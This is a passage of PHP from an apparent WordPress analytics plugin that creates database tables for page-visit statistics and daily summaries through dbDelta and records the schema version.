            `uid` varchar(255) NOT NULL,
            `time_on_page` int,
            `entire_page_url` varchar(255) NOT NULL,
            `page_id` int NOT NULL,
            `parameters` varchar(255) NOT NULL,
            `fragment` varchar(255) NOT NULL,
            `referrer` varchar(255),
            `browser` varchar(255),
            `browser_version` varchar(255),
            `platform` varchar(255),
            `device` varchar(255),
            `device_resolution` varchar(255),
            `session_id` int,
            `first_time_visit` tinyint,
            `bounce` tinyint DEFAULT 1,
              PRIMARY KEY  (ID),
              INDEX time_index (time),
              INDEX bounce_index (bounce),
              INDEX page_url_index (page_url),
              INDEX session_id_index (session_id),
              INDEX time_page_url_index (`time`, `page_url`)
            ) $charset_collate;";

		dbDelta( $sql );

		$table_name = $wpdb->prefix . 'burst_summary';
		$sql        = "CREATE TABLE $table_name (
			`ID` int NOT NULL AUTO_INCREMENT ,
            `date` DATE NOT NULL,
            `page_url` varchar(191) NOT NULL,
            `sessions` int NOT NULL,
            `visitors` int NOT NULL,
            `first_time_visitors` int NOT NULL,
            `pageviews` int NOT NULL,
            `bounces` int NOT NULL,
            `avg_time_on_page` int NOT NULL,
            `completed` tinyint NOT NULL,
            UNIQUE KEY unique_date_page_url (date, page_url(191)),
            INDEX page_url_date_index (page_url, date),
            INDEX date_index (date),
              PRIMARY KEY  (ID)
            ) $charset_collate;";

		dbDelta( $sql );

		update_option( 'burst_stats_db_version', burst_version, false );
	}
}